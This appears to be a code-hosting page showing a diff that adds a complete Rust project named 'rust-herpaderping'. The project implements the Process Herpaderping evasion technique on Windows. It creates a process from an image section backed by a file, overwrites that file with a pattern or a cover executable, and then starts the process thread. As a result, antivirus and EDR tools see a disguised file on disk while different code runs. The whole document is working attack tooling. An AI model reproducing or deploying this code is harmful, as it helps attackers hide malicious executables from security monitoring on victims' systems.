🤬
  • ■ ■ ■ ■ ■ ■
    Cargo.toml
     1 +[package]
     2 +name = "rust-herpaderping"
     3 +version = "0.1.0"
     4 +edition = "2021"
     5 + 
     6 +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
     7 + 
     8 +[dependencies]
     9 +clap = { version = "4.3.1", features = ["derive"] }
     10 +ntapi = { version = "0.4.0", features = ["impl-default"]}
     11 +widestring = "0.2.2"
     12 +simple_logger = "4.1.0"
     13 +log = { version = "^0.4.17", features = ["std"] }
     14 + 
     15 + 
     16 +[dependencies.windows-sys]
     17 +version = "0.48.0"
     18 +features = [
     19 + "Win32_Foundation",
     20 + "Win32_Security",
     21 + "Win32_System_Threading",
     22 + "Win32_UI_WindowsAndMessaging",
     23 + "Win32_System_Memory",
     24 + "Win32_System_Diagnostics_Debug",
     25 + "Win32_System_SystemServices",
     26 + "Win32_System_WindowsProgramming",
     27 + "Win32_System_LibraryLoader",
     28 + "Win32_NetworkManagement_IpHelper",
     29 + "Win32_Networking_WinSock",
     30 + "Win32_System_SystemInformation",
     31 + "Win32_System_Environment",
     32 + "Win32_System_ProcessStatus",
     33 + "Win32_Globalization",
     34 + "Win32_System_Diagnostics_ToolHelp",
     35 + "Win32_System_Kernel",
     36 + "Win32_System_Pipes",
     37 + "Win32_Storage_FileSystem",
     38 + "Win32_System_IO",
     39 + "Win32_Networking_ActiveDirectory",
     40 + "Win32_Security_Authentication_Identity",
     41 +]
     42 + 
     43 +# less binary size (~x1.5), but more compile time
     44 +[profile.release]
     45 +strip = true # Automatically strip symbols from the binary.
     46 +lto = true # Instructs the linker to optimize at the link stage
     47 +opt-level = "z" # Optimize for size.
     48 +codegen-units = 1
     49 + 
     50 +[features]
     51 +debug = []
     52 + 
  • ■ ■ ■ ■ ■ ■
    src/lib.rs
     1 +mod utils;
     2 + 
     3 +use ntapi::{
     4 + ntpebteb::PEB,
     5 + ntpsapi::{
     6 + NtCreateThreadEx, NtCurrentPeb, NtCurrentProcess, PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
     7 + },
     8 + winapi::{
     9 + shared::ntdef::NT_SUCCESS,
     10 + um::winnt::{PAGE_READONLY, PVOID},
     11 + },
     12 +};
     13 +use std::{ffi::c_void, ptr::null_mut};
     14 +use utils::{write_file_flushed, NtCreateProcessEx, NtCreateSection};
     15 +use windows_sys::Win32::{
     16 + Foundation::{
     17 + CloseHandle, GetLastError, FALSE, FARPROC, GENERIC_READ, GENERIC_WRITE, HANDLE,
     18 + INVALID_HANDLE_VALUE,
     19 + },
     20 + Storage::FileSystem::{
     21 + CreateFileW, ReadFile, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FILE_BEGIN, FILE_SHARE_DELETE,
     22 + FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING,
     23 + },
     24 + System::{
     25 + Diagnostics::Debug::ReadProcessMemory,
     26 + LibraryLoader::{GetModuleHandleA, GetProcAddress},
     27 + Memory::{SECTION_ALL_ACCESS, SEC_IMAGE},
     28 + Threading::{
     29 + TerminateProcess, WaitForSingleObject, INFINITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
     30 + },
     31 + },
     32 +};
     33 + 
     34 +const PATTERN: [u8; 2] = [0x41, 0x48]; // "AH"
     35 + 
     36 +pub unsafe fn herpaderping(
     37 + source_filename: &str,
     38 + target_filename: &str,
     39 + replace_with_filename: &Option<String>,
     40 +) {
     41 + log::info!("Source File: {}", source_filename);
     42 + log::info!("Target File: {}", target_filename);
     43 + 
     44 + let source_handle = match get_source_file_handle(source_filename) {
     45 + Ok(handle) => handle,
     46 + Err(err) => panic!("CreateFileW for source error: {}", err),
     47 + };
     48 + 
     49 + // Creating a empty target exe to write src here further
     50 + let target_handle = match create_target_and_get_handle(target_filename) {
     51 + Ok(handle) => handle,
     52 + Err(err) => {
     53 + CloseHandle(source_handle);
     54 + panic!("CreateFileW for target error: {}", err);
     55 + }
     56 + };
     57 + 
     58 + log::info!("Target file created, handles to source file and target file retrieved");
     59 + 
     60 + // Write source file to target file
     61 + if let Err(err) = write_source_to_target(source_handle, target_handle) {
     62 + CloseHandle(source_handle);
     63 + CloseHandle(target_handle);
     64 + panic!("Reading / writing source to target error: {}", err);
     65 + }
     66 + 
     67 + log::info!("Source file written to target file");
     68 + 
     69 + // No needed anymore
     70 + CloseHandle(source_handle);
     71 + 
     72 + let target_process_handle = match create_target_process(target_handle) {
     73 + Ok(handle) => handle,
     74 + Err(err) => {
     75 + CloseHandle(target_handle);
     76 + panic!("Create process for target failed: {}", err);
     77 + }
     78 + };
     79 + 
     80 + log::info!("Target process created");
     81 + 
     82 + let image_entry_point_rva = match utils::get_image_entry_point_rva(target_handle) {
     83 + Ok(rva) => rva,
     84 + Err(err) => {
     85 + CloseHandle(target_process_handle);
     86 + TerminateProcess(target_process_handle, 0);
     87 + CloseHandle(target_handle);
     88 + panic!("Image entry point RVA error: {}", err);
     89 + }
     90 + };
     91 + 
     92 + match replace_with_filename {
     93 + Some(replace_filename) => {
     94 + if let Err(err) = overwrite_target_with_replace_file(target_handle, &replace_filename) {
     95 + CloseHandle(target_process_handle);
     96 + TerminateProcess(target_process_handle, 0);
     97 + CloseHandle(target_handle);
     98 + panic!("Writing replace exe to target error: {}", err);
     99 + }
     100 + log::info!("Target file was replaced by file: {}", replace_filename);
     101 + }
     102 + None => {
     103 + if let Err(err) = overwrite_target_with_pattern(target_handle, PATTERN.as_slice()) {
     104 + CloseHandle(target_process_handle);
     105 + TerminateProcess(target_process_handle, 0);
     106 + CloseHandle(target_handle);
     107 + panic!("Writing pattern to target error: {}", err);
     108 + }
     109 + log::info!("Target file was replaced by pattern");
     110 + }
     111 + }
     112 + 
     113 + let thread_handle = match create_and_run_thread_in_target(
     114 + target_filename,
     115 + target_process_handle,
     116 + image_entry_point_rva,
     117 + ) {
     118 + Ok(handle) => handle,
     119 + Err(err) => {
     120 + CloseHandle(target_process_handle);
     121 + TerminateProcess(target_process_handle, 0);
     122 + CloseHandle(target_handle);
     123 + panic!(
     124 + "Creating and starting main thread in target process error: {}",
     125 + err
     126 + );
     127 + }
     128 + };
     129 + 
     130 + log::info!("Main thread in target process started. Waiting until the process is finished");
     131 + 
     132 + WaitForSingleObject(target_process_handle, INFINITE);
     133 + 
     134 + log::info!("Process herpaderping is over :D");
     135 + 
     136 + CloseHandle(thread_handle);
     137 + CloseHandle(target_process_handle);
     138 + CloseHandle(target_handle);
     139 +}
     140 + 
     141 +unsafe fn get_source_file_handle(source_filename: &str) -> Result<HANDLE, u32> {
     142 + let wide_source = utils::str_to_widestring(source_filename);
     143 + let source_handle = CreateFileW(
     144 + wide_source.as_ptr(),
     145 + GENERIC_READ,
     146 + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
     147 + null_mut(),
     148 + OPEN_EXISTING,
     149 + FILE_ATTRIBUTE_NORMAL,
     150 + 0,
     151 + );
     152 + 
     153 + if source_handle == INVALID_HANDLE_VALUE {
     154 + return Err(GetLastError());
     155 + }
     156 + 
     157 + #[cfg(feature = "debug")]
     158 + log::debug!("Source file handle: {}", source_handle);
     159 + 
     160 + return Ok(source_handle);
     161 +}
     162 + 
     163 +unsafe fn create_target_and_get_handle(target_filename: &str) -> Result<HANDLE, u32> {
     164 + let wide_target = utils::str_to_widestring(target_filename);
     165 + let target_handle = CreateFileW(
     166 + wide_target.as_ptr(),
     167 + GENERIC_READ | GENERIC_WRITE,
     168 + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
     169 + null_mut(),
     170 + CREATE_ALWAYS,
     171 + FILE_ATTRIBUTE_NORMAL,
     172 + 0,
     173 + );
     174 + 
     175 + if target_handle == INVALID_HANDLE_VALUE {
     176 + return Err(GetLastError());
     177 + }
     178 + 
     179 + #[cfg(feature = "debug")]
     180 + log::debug!("Target file handle: {}", target_handle);
     181 + 
     182 + return Ok(target_handle);
     183 +}
     184 + 
     185 +/// Writes source file to target file.
     186 +///
     187 +/// If successful - written bytes returns, else GetLastError() result.
     188 +unsafe fn write_source_to_target(source_handle: HANDLE, target_handle: HANDLE) -> Result<u32, u32> {
     189 + let source_file_size = utils::get_file_size(source_handle)?;
     190 + 
     191 + #[cfg(feature = "debug")]
     192 + {
     193 + let target_file_size = utils::get_file_size(target_handle)?;
     194 + log::debug!("Source file size: {}", source_file_size);
     195 + log::debug!("Target file size before writing: {}", target_file_size);
     196 + }
     197 + 
     198 + utils::set_file_pointer(source_handle, 0, FILE_BEGIN)?;
     199 + 
     200 + let mut source_content_buffer: Vec<u8> = vec![0; source_file_size as usize];
     201 + let ptr_source_content_buffer = source_content_buffer.as_mut_ptr() as *mut c_void;
     202 + 
     203 + if ReadFile(
     204 + source_handle,
     205 + ptr_source_content_buffer,
     206 + source_file_size as u32,
     207 + null_mut(),
     208 + null_mut(),
     209 + ) == 0
     210 + {
     211 + let err = GetLastError();
     212 + return Err(err);
     213 + }
     214 + 
     215 + #[cfg(feature = "debug")]
     216 + log::debug!(
     217 + "Content buffer size after reading source file: {}",
     218 + source_content_buffer.len()
     219 + );
     220 + 
     221 + let bytes_written = write_file_flushed(
     222 + target_handle,
     223 + &source_content_buffer,
     224 + source_file_size as u32,
     225 + )?;
     226 + 
     227 + return Ok(bytes_written);
     228 +}
     229 + 
     230 +unsafe fn create_target_process(target_handle: HANDLE) -> Result<HANDLE, u32> {
     231 + let ntdll = GetModuleHandleA("ntdll.dll\0".as_ptr());
     232 + let nt_create_section_func = std::mem::transmute::<FARPROC, NtCreateSection>(GetProcAddress(
     233 + ntdll,
     234 + "NtCreateSection\0".as_ptr(),
     235 + ));
     236 + 
     237 + let nt_create_process_ex_func = std::mem::transmute::<FARPROC, NtCreateProcessEx>(
     238 + GetProcAddress(ntdll, "NtCreateProcessEx\0".as_ptr()),
     239 + );
     240 + 
     241 + let mut section_handle: HANDLE = 0;
     242 + let ntstatus = nt_create_section_func(
     243 + &mut section_handle as *mut HANDLE,
     244 + SECTION_ALL_ACCESS,
     245 + null_mut(),
     246 + null_mut(),
     247 + PAGE_READONLY,
     248 + SEC_IMAGE,
     249 + target_handle,
     250 + );
     251 + if !NT_SUCCESS(ntstatus) {
     252 + return Err(ntstatus as u32);
     253 + }
     254 + 
     255 + #[cfg(feature = "debug")]
     256 + log::debug!("Section handler: {}", section_handle);
     257 + 
     258 + let mut process_handle: HANDLE = 0;
     259 + let ntstatus = nt_create_process_ex_func(
     260 + &mut process_handle as *mut HANDLE,
     261 + PROCESS_ALL_ACCESS,
     262 + null_mut(),
     263 + NtCurrentProcess as isize,
     264 + PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
     265 + section_handle,
     266 + null_mut(),
     267 + null_mut(),
     268 + FALSE,
     269 + );
     270 + if !NT_SUCCESS(ntstatus) {
     271 + CloseHandle(section_handle);
     272 + return Err(ntstatus as u32);
     273 + }
     274 + 
     275 + #[cfg(feature = "debug")]
     276 + log::debug!("Process handler: {}", process_handle);
     277 + 
     278 + CloseHandle(section_handle);
     279 + return Ok(process_handle);
     280 +}
     281 + 
     282 +unsafe fn overwrite_target_with_replace_file(
     283 + target_handle: HANDLE,
     284 + replace_filename: &str,
     285 +) -> Result<(), u32> {
     286 + let replace_filename_handle = get_source_file_handle(replace_filename)?;
     287 + 
     288 + if replace_filename_handle == INVALID_HANDLE_VALUE || replace_filename_handle == 0 {
     289 + return Err(GetLastError());
     290 + }
     291 + 
     292 + #[cfg(feature = "debug")]
     293 + log::debug!("Replace filename handle: {}", replace_filename_handle);
     294 + 
     295 + write_source_to_target(replace_filename_handle, target_handle)?;
     296 + 
     297 + CloseHandle(replace_filename_handle);
     298 + 
     299 + Ok(())
     300 +}
     301 + 
     302 +unsafe fn overwrite_target_with_pattern(target_handle: HANDLE, pattern: &[u8]) -> Result<(), u32> {
     303 + let target_file_size = utils::get_file_size(target_handle)?;
     304 + let buffer_with_pattern = utils::fill_buffer_with_pattern(pattern, target_file_size as usize);
     305 + 
     306 + let mut _bytes_written = 0;
     307 + 
     308 + write_file_flushed(
     309 + target_handle,
     310 + &buffer_with_pattern,
     311 + buffer_with_pattern.len() as u32,
     312 + )?;
     313 + 
     314 + Ok(())
     315 +}
     316 + 
     317 +unsafe fn create_and_run_thread_in_target(
     318 + target_filename: &str,
     319 + target_process_handle: HANDLE,
     320 + image_entry_point_rva: u32,
     321 +) -> Result<HANDLE, i32> {
     322 + let pbi = utils::get_process_basic_info(target_process_handle)?;
     323 + let mut peb = std::mem::zeroed::<PEB>();
     324 + 
     325 + #[cfg(feature = "debug")]
     326 + log::debug!("PEB base address: {:p}", pbi.PebBaseAddress);
     327 + 
     328 + if ReadProcessMemory(
     329 + target_process_handle,
     330 + pbi.PebBaseAddress as *mut c_void,
     331 + &mut peb as *mut PEB as *mut c_void,
     332 + std::mem::size_of::<PEB>(),
     333 + null_mut(),
     334 + ) == 0
     335 + {
     336 + return Err(GetLastError() as i32);
     337 + }
     338 + 
     339 + let command_line = format!("\"{}\"", target_filename);
     340 + let desktop_info = "WinSta0\\Default";
     341 + 
     342 + utils::write_remote_process_parameters(
     343 + target_process_handle,
     344 + target_filename,
     345 + None,
     346 + None,
     347 + Some(&command_line[..]),
     348 + (*(*NtCurrentPeb()).ProcessParameters).Environment,
     349 + Some(target_filename),
     350 + Some(desktop_info),
     351 + None,
     352 + None,
     353 + )?;
     354 + 
     355 + //
     356 + // Create the initial thread, when this first thread is inserted the
     357 + // process create callback will fire in the kernel.
     358 + //
     359 + let remote_entry_point =
     360 + (peb.ImageBaseAddress as usize + image_entry_point_rva as usize) as PVOID;
     361 + 
     362 + #[cfg(feature = "debug")]
     363 + log::debug!("Remote entry point address: {:p}", remote_entry_point);
     364 + 
     365 + let mut thread_handle = null_mut();
     366 + let ntstatus = NtCreateThreadEx(
     367 + &mut thread_handle,
     368 + THREAD_ALL_ACCESS,
     369 + null_mut(),
     370 + target_process_handle as *mut ntapi::winapi::ctypes::c_void,
     371 + remote_entry_point,
     372 + null_mut(),
     373 + 0,
     374 + 0,
     375 + 0,
     376 + 0,
     377 + null_mut(),
     378 + );
     379 + 
     380 + if !NT_SUCCESS(ntstatus) {
     381 + return Err(ntstatus);
     382 + }
     383 + 
     384 + #[cfg(feature = "debug")]
     385 + log::debug!("Started thread handle: {}", thread_handle as HANDLE);
     386 + 
     387 + Ok(thread_handle as HANDLE)
     388 +}
     389 + 
  • ■ ■ ■ ■ ■ ■
    src/main.rs
     1 +use clap::Parser;
     2 +use rust_herpaderping::herpaderping;
     3 +use simple_logger::SimpleLogger;
     4 + 
     5 +#[derive(Parser)]
     6 +#[command(author, version, about, long_about = None)]
     7 +struct HerpaderpingCli {
     8 + source_filename: String,
     9 + target_filename: String,
     10 + cover_filename: Option<String>,
     11 +}
     12 + 
     13 +fn main() {
     14 + SimpleLogger::new().init().unwrap();
     15 + let cli = HerpaderpingCli::parse();
     16 + 
     17 + unsafe {
     18 + herpaderping(
     19 + &cli.source_filename,
     20 + &cli.target_filename,
     21 + &cli.cover_filename,
     22 + );
     23 + }
     24 +}
     25 + 
  • ■ ■ ■ ■ ■ ■
    src/utils.rs
     1 +use std::{ffi::c_void, ptr::null_mut};
     2 + 
     3 +use ntapi::{
     4 + ntpebteb::PEB,
     5 + ntpsapi::PROCESS_BASIC_INFORMATION,
     6 + ntrtl::{RtlCreateProcessParametersEx, RtlInitUnicodeString, RTL_USER_PROCESS_PARAMETERS},
     7 + winapi::{
     8 + shared::ntdef::{NT_SUCCESS, UNICODE_STRING},
     9 + um::winnt::{ACCESS_MASK, IMAGE_NT_HEADERS32, LARGE_INTEGER},
     10 + },
     11 + FIELD_OFFSET,
     12 +};
     13 +use widestring::WideCString;
     14 +use windows_sys::Win32::{
     15 + Foundation::{
     16 + CloseHandle, GetLastError, BOOL, ERROR_INVALID_IMAGE_HASH, FARPROC, HANDLE,
     17 + INVALID_HANDLE_VALUE, NTSTATUS,
     18 + },
     19 + Storage::FileSystem::{
     20 + FlushFileBuffers, GetFileSizeEx, SetEndOfFile, SetFilePointerEx, WriteFile, FILE_BEGIN,
     21 + },
     22 + System::{
     23 + Diagnostics::Debug::{
     24 + WriteProcessMemory, IMAGE_NT_HEADERS64, IMAGE_NT_OPTIONAL_HDR32_MAGIC,
     25 + IMAGE_NT_OPTIONAL_HDR64_MAGIC,
     26 + },
     27 + LibraryLoader::{GetModuleHandleA, GetProcAddress},
     28 + Memory::{
     29 + CreateFileMappingW, MapViewOfFile, VirtualAllocEx, FILE_MAP_READ, MEM_COMMIT,
     30 + MEM_RESERVE, PAGE_READONLY, PAGE_READWRITE,
     31 + },
     32 + SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE},
     33 + Threading::{NtQueryInformationProcess, ProcessBasicInformation},
     34 + WindowsProgramming::OBJECT_ATTRIBUTES,
     35 + },
     36 +};
     37 + 
     38 +pub type NtCreateSection = fn(
     39 + SectionHandle: *mut HANDLE,
     40 + DesiredAccess: ACCESS_MASK,
     41 + ObjectAttributes: *mut OBJECT_ATTRIBUTES,
     42 + MaximumSize: *mut LARGE_INTEGER,
     43 + SectionPageProtection: u32,
     44 + AllocationAttributes: u32,
     45 + FileHandle: HANDLE,
     46 +) -> NTSTATUS;
     47 + 
     48 +pub type NtCreateProcessEx = fn(
     49 + *mut HANDLE,
     50 + u32,
     51 + *mut OBJECT_ATTRIBUTES,
     52 + HANDLE,
     53 + u32,
     54 + HANDLE,
     55 + *mut c_void,
     56 + *mut c_void,
     57 + BOOL,
     58 +) -> i32;
     59 + 
     60 +pub type WritePtrAddrToMemory = fn(
     61 + hprocess: HANDLE,
     62 + lpbaseaddress: *const c_void,
     63 + lpbuffer: *mut *mut c_void,
     64 + nsize: usize,
     65 + lpnumberofbyteswritten: *mut usize,
     66 +) -> BOOL;
     67 + 
     68 +pub unsafe fn get_file_size(file_handle: HANDLE) -> Result<i64, u32> {
     69 + let mut file_size: i64 = 0;
     70 + if GetFileSizeEx(file_handle, &mut file_size) == 0 {
     71 + let err = GetLastError();
     72 + return Err(err);
     73 + }
     74 + 
     75 + return Ok(file_size);
     76 +}
     77 + 
     78 +pub unsafe fn write_file_flushed(
     79 + target_handle: HANDLE,
     80 + buffer: &[u8],
     81 + length: u32,
     82 +) -> Result<u32, u32> {
     83 + set_file_pointer(target_handle, 0, FILE_BEGIN)?;
     84 + 
     85 + let mut bytes_written: u32 = 0;
     86 + if WriteFile(
     87 + target_handle,
     88 + buffer.as_ptr(),
     89 + length,
     90 + &mut bytes_written,
     91 + null_mut(),
     92 + ) == 0
     93 + {
     94 + return Err(GetLastError());
     95 + }
     96 + 
     97 + #[cfg(feature = "debug")]
     98 + {
     99 + log::debug!("Bytes written to target: {}", bytes_written);
     100 + }
     101 + 
     102 + if FlushFileBuffers(target_handle) == 0 {
     103 + return Err(GetLastError());
     104 + }
     105 + 
     106 + if SetEndOfFile(target_handle) == 0 {
     107 + return Err(GetLastError());
     108 + }
     109 + 
     110 + Ok(bytes_written)
     111 +}
     112 + 
     113 +pub unsafe fn set_file_pointer(
     114 + file_handle: HANDLE,
     115 + distance_to_move: i64,
     116 + move_method: u32,
     117 +) -> Result<(), u32> {
     118 + if SetFilePointerEx(file_handle, distance_to_move, null_mut(), move_method) == 0 {
     119 + let err = GetLastError();
     120 + return Err(err);
     121 + }
     122 + return Ok(());
     123 +}
     124 + 
     125 +unsafe fn get_file_mapped_view_handle(file_handle: HANDLE) -> Result<HANDLE, u32> {
     126 + // If this parameter and dwMaximumSizeHigh are 0 (zero),
     127 + // the maximum size of the file mapping object is equal
     128 + // to the current size of the file that hFile identifies.
     129 + let mapping_handle: HANDLE =
     130 + CreateFileMappingW(file_handle, null_mut(), PAGE_READONLY, 0, 0, null_mut());
     131 + 
     132 + if mapping_handle == INVALID_HANDLE_VALUE || mapping_handle == 0 {
     133 + return Err(GetLastError());
     134 + }
     135 + 
     136 + #[cfg(feature = "debug")]
     137 + log::debug!("Mapping handle: {}", mapping_handle);
     138 + 
     139 + // If dwNumberOfBytesToMap is 0 (zero), the mapping extends
     140 + // from the specified offset to the end of the file mapping
     141 + let mapped_view_handle = MapViewOfFile(mapping_handle, FILE_MAP_READ, 0, 0, 0);
     142 + 
     143 + if mapped_view_handle == 0 {
     144 + CloseHandle(mapping_handle);
     145 + return Err(GetLastError());
     146 + }
     147 + 
     148 + #[cfg(feature = "debug")]
     149 + log::debug!("Mapped view address: {:#x}", mapped_view_handle);
     150 + 
     151 + #[cfg(feature = "debug")]
     152 + {
     153 + use windows_sys::Win32::System::Memory::{VirtualQueryEx, MEMORY_BASIC_INFORMATION};
     154 + use windows_sys::Win32::System::Threading::GetCurrentProcess;
     155 + 
     156 + let mut mbi = std::mem::zeroed::<MEMORY_BASIC_INFORMATION>();
     157 + VirtualQueryEx(
     158 + GetCurrentProcess(),
     159 + mapped_view_handle as *const c_void,
     160 + &mut mbi,
     161 + std::mem::size_of::<MEMORY_BASIC_INFORMATION>(),
     162 + );
     163 + log::debug!("File mapping size: {}", mbi.RegionSize);
     164 + }
     165 + 
     166 + CloseHandle(mapping_handle);
     167 + 
     168 + Ok(mapped_view_handle)
     169 +}
     170 + 
     171 +pub unsafe fn get_image_entry_point_rva(file_handle: HANDLE) -> Result<u32, u32> {
     172 + let mut _entry_point_rva: u32 = 0;
     173 + 
     174 + let mapped_view_handle = get_file_mapped_view_handle(file_handle)?;
     175 + 
     176 + let ptr_image_dos_header = mapped_view_handle as *mut IMAGE_DOS_HEADER;
     177 + if (*ptr_image_dos_header).e_magic != IMAGE_DOS_SIGNATURE {
     178 + CloseHandle(mapped_view_handle);
     179 + return Err(ERROR_INVALID_IMAGE_HASH);
     180 + }
     181 + 
     182 + let ptr_image_nt_header = (mapped_view_handle as usize
     183 + + (*ptr_image_dos_header).e_lfanew as usize)
     184 + as *mut IMAGE_NT_HEADERS32;
     185 + if (*ptr_image_nt_header).Signature != IMAGE_NT_SIGNATURE {
     186 + CloseHandle(mapped_view_handle);
     187 + return Err(ERROR_INVALID_IMAGE_HASH);
     188 + }
     189 + 
     190 + if (*ptr_image_nt_header).OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC {
     191 + _entry_point_rva = (*ptr_image_nt_header).OptionalHeader.AddressOfEntryPoint;
     192 + } else if (*ptr_image_nt_header).OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC {
     193 + let ptr_image_nt_header64 = ptr_image_nt_header as *mut IMAGE_NT_HEADERS64;
     194 + _entry_point_rva = (*ptr_image_nt_header64).OptionalHeader.AddressOfEntryPoint;
     195 + } else {
     196 + CloseHandle(mapped_view_handle);
     197 + return Err(ERROR_INVALID_IMAGE_HASH);
     198 + }
     199 + 
     200 + #[cfg(feature = "debug")]
     201 + log::debug!("RVA of image entry point: {:#x}", _entry_point_rva);
     202 + 
     203 + CloseHandle(mapped_view_handle);
     204 + return Ok(_entry_point_rva);
     205 +}
     206 + 
     207 +pub unsafe fn fill_buffer_with_pattern(pattern: &[u8], length: usize) -> Vec<u8> {
     208 + let mut buffer_with_pattern = Vec::<u8>::new();
     209 + 
     210 + let mut bytes_remaining = length;
     211 + let pattern_len = pattern.len();
     212 + 
     213 + while bytes_remaining > 0 {
     214 + let len = if pattern_len > bytes_remaining {
     215 + bytes_remaining
     216 + } else {
     217 + pattern_len
     218 + };
     219 + buffer_with_pattern.extend_from_slice(&pattern[..len]);
     220 + bytes_remaining -= len;
     221 + }
     222 + 
     223 + buffer_with_pattern
     224 +}
     225 + 
     226 +pub unsafe fn get_process_basic_info(
     227 + process_handle: HANDLE,
     228 +) -> Result<PROCESS_BASIC_INFORMATION, i32> {
     229 + let mut pbi = std::mem::zeroed::<PROCESS_BASIC_INFORMATION>();
     230 + let ntstatus = NtQueryInformationProcess(
     231 + process_handle,
     232 + ProcessBasicInformation,
     233 + &mut pbi as *mut _ as *mut c_void,
     234 + std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as u32,
     235 + null_mut(),
     236 + );
     237 + 
     238 + if !NT_SUCCESS(ntstatus) {
     239 + return Err(ntstatus);
     240 + }
     241 + 
     242 + return Ok(pbi);
     243 +}
     244 + 
     245 +pub unsafe fn write_remote_process_parameters(
     246 + process_handle: HANDLE,
     247 + image_file_name: &str,
     248 + _dll_path: Option<&str>,
     249 + _current_directory: Option<&str>,
     250 + command_line: Option<&str>,
     251 + environment_block: *mut ntapi::winapi::ctypes::c_void,
     252 + windows_title: Option<&str>,
     253 + desktop_info: Option<&str>,
     254 + _shell_info: Option<&str>,
     255 + _runtime_data: Option<&str>,
     256 +) -> Result<(), i32> {
     257 + let pbi = get_process_basic_info(process_handle)?;
     258 + 
     259 + let mut image_file_name = str_to_unicode_string(Some(image_file_name));
     260 + let mut command_line = str_to_unicode_string(command_line);
     261 + let mut windows_title = str_to_unicode_string(windows_title);
     262 + let mut desktop_info = str_to_unicode_string(desktop_info);
     263 + 
     264 + let mut params =
     265 + &mut std::mem::zeroed::<RTL_USER_PROCESS_PARAMETERS>() as *mut RTL_USER_PROCESS_PARAMETERS;
     266 + 
     267 + let ntstatus = RtlCreateProcessParametersEx(
     268 + &mut params as *mut *mut RTL_USER_PROCESS_PARAMETERS,
     269 + &mut image_file_name,
     270 + null_mut(),
     271 + null_mut(),
     272 + &mut command_line,
     273 + environment_block,
     274 + &mut windows_title,
     275 + &mut desktop_info,
     276 + null_mut(),
     277 + null_mut(),
     278 + 0,
     279 + );
     280 + 
     281 + if !NT_SUCCESS(ntstatus) {
     282 + return Err(ntstatus);
     283 + }
     284 + 
     285 + let len = (*params).MaximumLength as usize + (*params).EnvironmentSize;
     286 + 
     287 + #[cfg(feature = "debug")]
     288 + log::debug!("Parameters maximum length + size of environment: {}", len);
     289 + 
     290 + let mut ptr_remote_memory = VirtualAllocEx(
     291 + process_handle,
     292 + null_mut(),
     293 + len,
     294 + MEM_COMMIT | MEM_RESERVE,
     295 + PAGE_READWRITE,
     296 + );
     297 + if ptr_remote_memory.is_null() {
     298 + return Err(GetLastError() as i32);
     299 + }
     300 + 
     301 + #[cfg(feature = "debug")]
     302 + {
     303 + log::debug!(
     304 + "Allocated memory in remote process: {:p}",
     305 + ptr_remote_memory
     306 + );
     307 + log::debug!("Param env local address: {:p}", (*params).Environment);
     308 + }
     309 + if (*params).Environment != null_mut() {
     310 + (*params).Environment = (ptr_remote_memory as usize + (*params).Length as usize)
     311 + as *mut ntapi::winapi::ctypes::c_void;
     312 + }
     313 + 
     314 + #[cfg(feature = "debug")]
     315 + log::debug!("Param env remote address: {:p}", (*params).Environment);
     316 + 
     317 + let mut bytes_written: usize = 0;
     318 + if WriteProcessMemory(
     319 + process_handle,
     320 + ptr_remote_memory,
     321 + params as *mut c_void,
     322 + len,
     323 + &mut bytes_written,
     324 + ) == 0
     325 + {
     326 + return Err(GetLastError() as i32);
     327 + }
     328 + 
     329 + #[cfg(feature = "debug")]
     330 + log::debug!("Bytes of env written to remote address: {}", bytes_written);
     331 + 
     332 + let ptr_to_ptr_remote_memory = &mut ptr_remote_memory as *mut *mut c_void;
     333 + let remote_params = pbi.PebBaseAddress as usize + FIELD_OFFSET!(PEB, ProcessParameters);
     334 + 
     335 + // WriteProcessMemory dont accept pointer to pointer, therefore use custom variant
     336 + let kernel32 = GetModuleHandleA("KERNEL32.DLL\0".as_ptr());
     337 + let write_pointer_address_to_memory = std::mem::transmute::<FARPROC, WritePtrAddrToMemory>(
     338 + GetProcAddress(kernel32, "WriteProcessMemory\0".as_ptr()),
     339 + );
     340 + 
     341 + if write_pointer_address_to_memory(
     342 + process_handle,
     343 + remote_params as *mut c_void,
     344 + ptr_to_ptr_remote_memory,
     345 + std::mem::size_of::<*mut c_void>(),
     346 + &mut bytes_written,
     347 + ) == 0
     348 + {
     349 + return Err(GetLastError() as i32);
     350 + }
     351 + 
     352 + #[cfg(feature = "debug")]
     353 + log::debug!(
     354 + "Bytes written of param pointer to remote params: {}",
     355 + bytes_written
     356 + );
     357 + 
     358 + Ok(())
     359 +}
     360 + 
     361 +pub fn str_to_unicode_string(input: Option<&str>) -> UNICODE_STRING {
     362 + match input {
     363 + Some(input) => {
     364 + let wide_input = str_to_widestring(input);
     365 + let mut unicode_string = UNICODE_STRING::default();
     366 + unsafe { RtlInitUnicodeString(&mut unicode_string, wide_input.as_ptr()) };
     367 + return unicode_string;
     368 + }
     369 + None => {
     370 + return UNICODE_STRING::default();
     371 + }
     372 + }
     373 +}
     374 + 
     375 +pub fn str_to_widestring(input: &str) -> WideCString {
     376 + return WideCString::from_vec(input.encode_utf16().collect::<Vec<_>>()).unwrap();
     377 +}
     378 + 
Please wait...
Page is in error, reload to recover